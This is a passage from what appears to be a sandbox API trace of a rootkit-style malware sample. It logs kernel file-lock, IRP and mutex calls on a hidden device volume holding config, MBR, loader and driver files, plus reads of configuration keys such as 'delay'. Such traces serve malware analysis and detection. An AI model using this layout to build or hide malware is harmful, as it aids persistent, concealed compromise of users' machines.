(Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.638] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.639] KeEnterCriticalRegion () [0130.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.639] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003457000 [0130.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.639] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.639] IdePortDispatch () returned 0x103 [0130.639] KeWaitForMutexObject () returned 0x0 [0130.639] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.639] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.639] IdePortDispatch () returned 0x103 [0130.640] KeWaitForMutexObject () returned 0x0 [0130.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.640] KeLeaveCriticalRegion () [0130.640] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.640] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.640] KeEnterCriticalRegion () [0130.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.640] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.640] KeLeaveCriticalRegion () [0130.641] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.641] KeEnterCriticalRegion () [0130.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.641] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.641] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.641] KeLeaveCriticalRegion () [0130.641] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.641] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.641] KeEnterCriticalRegion () [0130.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.641] ExFreePoolWithTag (P=0xfffffa800294ddb0, Tag=0x0) [0130.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.641] KeLeaveCriticalRegion () [0130.641] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.641] ReleaseMutex (hMutex=0xf0) returned 1 [0130.641] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.641] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.641] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.641] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.641] KeEnterCriticalRegion () [0130.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.641] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.641] IdePortDispatch () returned 0x103 [0130.642] KeWaitForMutexObject () returned 0x0 [0130.642] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.642] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.642] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.642] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.642] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.642] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.642] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.642] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.642] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.642] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.642] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.642] KeLeaveCriticalRegion () [0130.642] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.642] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.642] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.642] KeEnterCriticalRegion () [0130.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.642] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.642] IdePortDispatch () returned 0x103 [0130.643] KeWaitForMutexObject () returned 0x0 [0130.643] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.643] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.643] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.643] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.643] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.643] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.643] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.643] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.643] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.643] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.643] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.643] KeLeaveCriticalRegion () [0130.643] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.643] ReleaseMutex (hMutex=0x100) returned 1 [0130.644] Sleep (dwMilliseconds=0x2bf20) [0130.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70fc4710, dwHighDateTime=0x1d24fa4)) [0130.653] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.653] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.653] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.653] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.653] KeEnterCriticalRegion () [0130.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.653] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.653] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.653] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.653] IdePortDispatch () returned 0x103 [0130.653] KeWaitForMutexObject () returned 0x0 [0130.654] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.654] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.654] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.654] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.654] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.654] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ddb0 [0130.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.654] KeLeaveCriticalRegion () [0130.654] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.654] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.654] KeEnterCriticalRegion () [0130.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.654] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.654] KeLeaveCriticalRegion () [0130.654] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.654] KeEnterCriticalRegion () [0130.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.654] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.654] IdePortDispatch () returned 0x103 [0130.654] KeWaitForMutexObject () returned 0x0 [0130.654] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.655] KeLeaveCriticalRegion () [0130.655] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.655] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.655] KeEnterCriticalRegion () [0130.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.655] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345a000 [0130.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.655] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.655] IdePortDispatch () returned 0x103 [0130.655] KeWaitForMutexObject () returned 0x0 [0130.655] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.655] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.655] IdePortDispatch () returned 0x103 [0130.656] KeWaitForMutexObject () returned 0x0 [0130.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.656] KeLeaveCriticalRegion () [0130.656] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.656] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.656] KeEnterCriticalRegion () [0130.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.656] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.656] KeLeaveCriticalRegion () [0130.656] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.656] KeEnterCriticalRegion () [0130.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.657] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.657] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d310, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.657] KeLeaveCriticalRegion () [0130.657] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.657] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.657] KeEnterCriticalRegion () [0130.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.657] ExFreePoolWithTag (P=0xfffffa800294ddb0, Tag=0x0) [0130.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.657] KeLeaveCriticalRegion () [0130.657] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.657] ReleaseMutex (hMutex=0xf0) returned 1 [0130.657] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.657] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.657] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.657] KeEnterCriticalRegion () [0130.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.657] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.657] IdePortDispatch () returned 0x103 [0130.657] KeWaitForMutexObject () returned 0x0 [0130.658] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.658] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.658] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.658] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.658] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.658] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294d650 [0130.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.658] KeLeaveCriticalRegion () [0130.658] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.658] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.658] KeEnterCriticalRegion () [0130.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.658] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.658] KeLeaveCriticalRegion () [0130.658] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.658] KeEnterCriticalRegion () [0130.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.658] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.658] IdePortDispatch () returned 0x103 [0130.658] KeWaitForMutexObject () returned 0x0 [0130.658] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.659] KeLeaveCriticalRegion () [0130.659] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.659] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.659] KeEnterCriticalRegion () [0130.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.659] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345b000 [0130.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.659] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.659] IdePortDispatch () returned 0x103 [0130.659] KeWaitForMutexObject () returned 0x0 [0130.659] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.659] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.659] IdePortDispatch () returned 0x103 [0130.659] KeWaitForMutexObject () returned 0x0 [0130.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.660] KeLeaveCriticalRegion () [0130.660] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.660] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.660] KeEnterCriticalRegion () [0130.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.660] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.660] KeLeaveCriticalRegion () [0130.660] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.660] KeEnterCriticalRegion () [0130.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.660] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.660] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.661] KeLeaveCriticalRegion () [0130.661] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.661] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.661] KeEnterCriticalRegion () [0130.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.661] ExFreePoolWithTag (P=0xfffffa800294d650, Tag=0x0) [0130.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.661] KeLeaveCriticalRegion () [0130.661] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.661] ReleaseMutex (hMutex=0xf0) returned 1 [0130.661] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.661] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.661] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.661] KeEnterCriticalRegion () [0130.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, 